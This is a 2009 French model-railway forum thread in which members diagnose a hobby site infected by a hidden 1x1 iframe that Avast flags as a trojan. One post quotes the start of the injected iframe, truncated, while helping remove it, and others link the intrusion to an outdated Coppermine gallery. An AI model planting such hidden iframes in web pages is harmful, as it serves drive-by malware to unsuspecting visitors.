Je me suis aperçu que Avast trouve un virus sur mon site Tyrphon-trains, alors que Bitdefender, que j'utilise sur un autre ordi, ne trouve rien de louche.
Je précise que ce supposé virus ne touche que la page d'accueil. Si on attaque directement ma galerie Coppermine, pas de problème. Exemple:
http://www.tyrphon-trains.fr/Coppermine/index.php
Quelqu'un peut-il me dire si d'autres anti-virus réagissent à mon site? Qui pourrait m'aider à résoudre le problème?
Les Forums de Passions Métrique et Etroite !!
Rendez vous des passionnés des trains à voie étroite ou métrique, qui souhaitent un endroit pour discuter, pour se rencontrer, sans se prendre la tête et dans la bonne humeur !
Un cheval de troie sur tyrphon-trains?
31 messages
• Page 1 sur 3 • 1, 2, 3
Un cheval de troie sur tyrphon-trains?
par Tyrphon » 01 05 2009 à 08:10
Jean-Pierre "Tyrphon" Dumont
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
-
Tyrphon - Exhumeur de fil
- Messages: 8537
- Enregistré le: 27 11 2006 à 15:32
- Localisation: Rueil-Malmaison (92) et Gartempe (23)
Re: Un cheval de troie sur tyrphon-trains?
par pelican » 01 05 2009 à 09:07
va dans l'rétro, Tyrphonaaaas ... 
Pélican, Soixantologue (© by Pélican ..) Plus jamais de Hom
PME LE forum des voies Etroites et Métriques
petit train de la Scarpe
PME LE forum des voies Etroites et Métriques
petit train de la Scarpe
-
pelican - Chuck Squad, chenapan
- Messages: 50408
- Enregistré le: 25 04 2006 à 08:19
- Localisation: Thimeon
Re: Un cheval de troie sur tyrphon-trains?
par Rodolphe » 03 05 2009 à 18:49
À part le fait que tu devrais ajouter le type d'encodage dans l'entête, aucun souci à signaler sur ta page d'accueil.
Rodolphe
Rodolphe
-
Rodolphe - R2D2 du forum !!
- Messages: 2538
- Enregistré le: 25 07 2006 à 11:49
- Localisation: Auzeville-Tolosane (31)
Re: Un cheval de troie sur tyrphon-trains?
par Tyrphon » 04 05 2009 à 08:27
Heu, ça veut dire quoi précisément, ajouter le type d'encodage dans l'en-tête?
En attendant, je renvoie directement à ma galerie Coppermine dans ma signature...
En attendant, je renvoie directement à ma galerie Coppermine dans ma signature...
Jean-Pierre "Tyrphon" Dumont
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
-
Tyrphon - Exhumeur de fil
- Messages: 8537
- Enregistré le: 27 11 2006 à 15:32
- Localisation: Rueil-Malmaison (92) et Gartempe (23)
Re: Un cheval de troie sur tyrphon-trains?
par La Mouette » 04 05 2009 à 08:37
Dans l'entête tu peux preciser la nature du jeu de caractères que tu utilises pour la redaction de tes pages, ça evite les caractères cabalistiques affichés dans las navigateurs qui ne savant pas le determiner automatiquement.
A l'interieur de ton entête (entre les balises <head> et </head>), tu dois ajouter une ligne du genre :
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
En gras, le jeu de caractères, ça peut etre utf-8, latin, etc, ...
A l'interieur de ton entête (entre les balises <head> et </head>), tu dois ajouter une ligne du genre :
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
En gras, le jeu de caractères, ça peut etre utf-8, latin, etc, ...
- La Mouette
Re: Un cheval de troie sur tyrphon-trains?
par Tyrphon » 04 05 2009 à 13:23
Merci la Mouette, j'essaierai de voir ça à tête reposée.
Avast me dit que ce trojan s'appelle HTML:IFrame-BV. ça te dit quelque chose?
Avast me dit que ce trojan s'appelle HTML:IFrame-BV. ça te dit quelque chose?
Jean-Pierre "Tyrphon" Dumont
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
-
Tyrphon - Exhumeur de fil
- Messages: 8537
- Enregistré le: 27 11 2006 à 15:32
- Localisation: Rueil-Malmaison (92) et Gartempe (23)
Re: Un cheval de troie sur tyrphon-trains?
par Rodolphe » 04 05 2009 à 14:10
Sur ta page d'accueil toujours tu as une iframe après les différents liens vers PME etc.
C'est toi qui a ajouté ça ?
Tu devrais supprimer et tester à nouveau.
Rodolphe
C'est toi qui a ajouté ça ?
Tu devrais supprimer et tester à nouveau.
Rodolphe
-
Rodolphe - R2D2 du forum !!
- Messages: 2538
- Enregistré le: 25 07 2006 à 11:49
- Localisation: Auzeville-Tolosane (31)
Re: Un cheval de troie sur tyrphon-trains?
par Rodolphe » 04 05 2009 à 14:17
Je confirme que tu dois bien supprimer ce qui commence par :
C'est bien une saloperie qui tente de se télécharger sur le poste du visiteur.
Ce qui peut impliquer que ton serveur a été piraté puisque ce code a été ajouté.
Je n'avais pas détecté car étant sous linux ça ne me fait ni chaud ni froid, mais le chasseur de bugs de Firefox vient de m'alerter.
Rodolphe
- Code: Tout sélectionner
<iframe width="1" height="1" src="http://ccfe
C'est bien une saloperie qui tente de se télécharger sur le poste du visiteur.
Ce qui peut impliquer que ton serveur a été piraté puisque ce code a été ajouté.
Je n'avais pas détecté car étant sous linux ça ne me fait ni chaud ni froid, mais le chasseur de bugs de Firefox vient de m'alerter.
Rodolphe
-
Rodolphe - R2D2 du forum !!
- Messages: 2538
- Enregistré le: 25 07 2006 à 11:49
- Localisation: Auzeville-Tolosane (31)
Re: Un cheval de troie sur tyrphon-trains?
par PME » 04 05 2009 à 14:50
Gaffe avec la version de Coppermine que tu utilises. IL me semble que certaines versions un peu anciennes n'encodent pas les caractères spéciaux HTML (< et > notament) et de ce fait ne permettent pas le controle du contenu renvoyé au serveur par les utilisateurs, par le biais notament des commentaires.
Il est plus que probable que cette portion de code soit entrée dans ta page par ce biais, ce trou de securité (corrigé dans les versions recentes de Coppermine) associé à une definition souvent laxiste des CHMOD des repertoires de ton site (fonctions qui gerent les droits de chaque dossier ou fichier de ton FTP entre les differents groupes d'utilisateurs (admin, groupe admin, exterieur)) et c'est la porte ouverte aux intrusions.
Pour info et sans entrer dans le detail, c'est bien une galerie coppermine un peu oubliée sur le site de PME qui a été à la base du piratage du début d'année et pas le forum lui même.
PME
Il est plus que probable que cette portion de code soit entrée dans ta page par ce biais, ce trou de securité (corrigé dans les versions recentes de Coppermine) associé à une definition souvent laxiste des CHMOD des repertoires de ton site (fonctions qui gerent les droits de chaque dossier ou fichier de ton FTP entre les differents groupes d'utilisateurs (admin, groupe admin, exterieur)) et c'est la porte ouverte aux intrusions.
Pour info et sans entrer dans le detail, c'est bien une galerie coppermine un peu oubliée sur le site de PME qui a été à la base du piratage du début d'année et pas le forum lui même.
PME
-
PME - Big Brother
- Messages: 1330
- Enregistré le: 24 04 2006 à 19:06
Re: Un cheval de troie sur tyrphon-trains?
par Sixtifs » 04 05 2009 à 15:47
C'est dangereux les galeries de mine (de cuivre ou autres) abandonnées
Mèche courte
Mèche courte
________________________________________________________________________________
Je collectionne des vieilles carcasses, puis je les contemple, je les hume. Ensuite je les découpe, je mélange les morceaux, puis je les combine en les collant, les cousant ( si ! ) en cautérisant au besoin. Enfin par une étincelle (12 000 mV max) je leur redonne vie. Dr Sixtifenstein
Entraide, Tolérance, Diversité, Imagination, Convivialité, Persévérance
Bien faire et laisser dire.
matériel; calva; atelier; Craquetot
Je collectionne des vieilles carcasses, puis je les contemple, je les hume. Ensuite je les découpe, je mélange les morceaux, puis je les combine en les collant, les cousant ( si ! ) en cautérisant au besoin. Enfin par une étincelle (12 000 mV max) je leur redonne vie. Dr Sixtifenstein
Entraide, Tolérance, Diversité, Imagination, Convivialité, Persévérance
Bien faire et laisser dire.
matériel; calva; atelier; Craquetot
-
Sixtifs - Messages: 5013
- Enregistré le: 01 05 2006 à 07:17
- Localisation: entre 60 et 100
Re: Un cheval de troie sur tyrphon-trains?
par Tyrphon » 04 05 2009 à 16:07
Bin, je ne sais pas la version de Coppermine que j'utilise. C'est OVH qui me l'a installé. Peut-être qu'il vaudrait mieux que je prenne la main et que j'utilise une version de Coppermine téléchargée chez moi, mais ça va me donner du boulot.
Après vérification, c'est semble-t-il la version 1.4.10
Par ailleurs, j'ai effectivement eu un intrus sur ma galerie, mais je ne sais pas si ça peut être à l'origine de l'ajout signalé par Rodolphe. Comme je n'avais pas interdit formellement tout commentaire dans les paramètres de Coppermine, un magasin de vente d'articles de Noël en ligne avait réussi à caser plusieurs dizaines de commentaires par photo (!) vantant ses articles! En décembre, ça avait fait dépasser le débit autorisé et fermer temporairement l'accès au site. Le temps de retrouver comment on accède au texte de mon site (et oui!
Je ne suis vraiment pas là dedans comme un Pélican dans l'eau...) et je vais déjà effacer le corps du délit.
Après vérification, c'est semble-t-il la version 1.4.10
Par ailleurs, j'ai effectivement eu un intrus sur ma galerie, mais je ne sais pas si ça peut être à l'origine de l'ajout signalé par Rodolphe. Comme je n'avais pas interdit formellement tout commentaire dans les paramètres de Coppermine, un magasin de vente d'articles de Noël en ligne avait réussi à caser plusieurs dizaines de commentaires par photo (!) vantant ses articles! En décembre, ça avait fait dépasser le débit autorisé et fermer temporairement l'accès au site. Le temps de retrouver comment on accède au texte de mon site (et oui!
Je ne suis vraiment pas là dedans comme un Pélican dans l'eau...) et je vais déjà effacer le corps du délit.Jean-Pierre "Tyrphon" Dumont
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
Pape de la Tyrphonisation et du ponçage des stries.
"Striez striez, On en tirera toujours quelque chose!"
http://photos.tyrphon-trains.fr/.
-
Tyrphon - Exhumeur de fil
- Messages: 8537
- Enregistré le: 27 11 2006 à 15:32
- Localisation: Rueil-Malmaison (92) et Gartempe (23)
Re: Un cheval de troie sur tyrphon-trains?
par La Mouette » 04 05 2009 à 16:23
1.4.10 ça m'a pas l'air d'etre à jour ça.
Edit :
la derniere version est la 1.4.22 qui par rapport a la precedente (1.4.21) corrige une grosse faille de sécurité. Le site de coppermine recommande la mise a jour de toutes les galeries vers la 1.4.22 "as soon as possible" !!
Edit :
la derniere version est la 1.4.22 qui par rapport a la precedente (1.4.21) corrige une grosse faille de sécurité. Le site de coppermine recommande la mise a jour de toutes les galeries vers la 1.4.22 "as soon as possible" !!
- La Mouette
Re: Un cheval de troie sur tyrphon-trains?
par Rodolphe » 04 05 2009 à 16:56
Pas la peine de chercher plus loin. Les commentaires douteux correspondent très certainement à l'intrusion, effectivement rendue possible parce que la version utilisée n'est pas à jour.
Aide possible en privé.
Rodolphe
Aide possible en privé.
Rodolphe
-
Rodolphe - R2D2 du forum !!
- Messages: 2538
- Enregistré le: 25 07 2006 à 11:49
- Localisation: Auzeville-Tolosane (31)
Re: Un cheval de troie sur tyrphon-trains?
par pelican » 04 05 2009 à 17:55
Rodolphe est comme un Pélican dans l'eau concernant internet ! 
Pélican, Soixantologue (© by Pélican ..) Plus jamais de Hom
PME LE forum des voies Etroites et Métriques
petit train de la Scarpe
PME LE forum des voies Etroites et Métriques
petit train de la Scarpe
-
pelican - Chuck Squad, chenapan
- Messages: 50408
- Enregistré le: 25 04 2006 à 08:19
- Localisation: Thimeon
Re: Un cheval de troie sur tyrphon-trains?
par Zébu » 04 05 2009 à 18:43
En réalité, un pélican c'est pas dans les airs (quoique ça m'a toujours étonné, vu le poids du bestiau) et sur l'eau ? 
Dans l'eau, j'aimerais le voir avec un tuba !
Dans l'eau, j'aimerais le voir avec un tuba !
Directeur technique des Saroulmapoul
Great Officer of CQFD
Great Officer of CQFD
-
Zébu - Gredin !! Captain Couque
- Messages: 14715
- Enregistré le: 01 03 2008 à 18:34
- Localisation: Gelbique quasi méridionale.
31 messages
• Page 1 sur 3 • 1, 2, 3
Qui est en ligne
Utilisateurs parcourant ce forum : Aucun utilisateur enregistré et 18 invités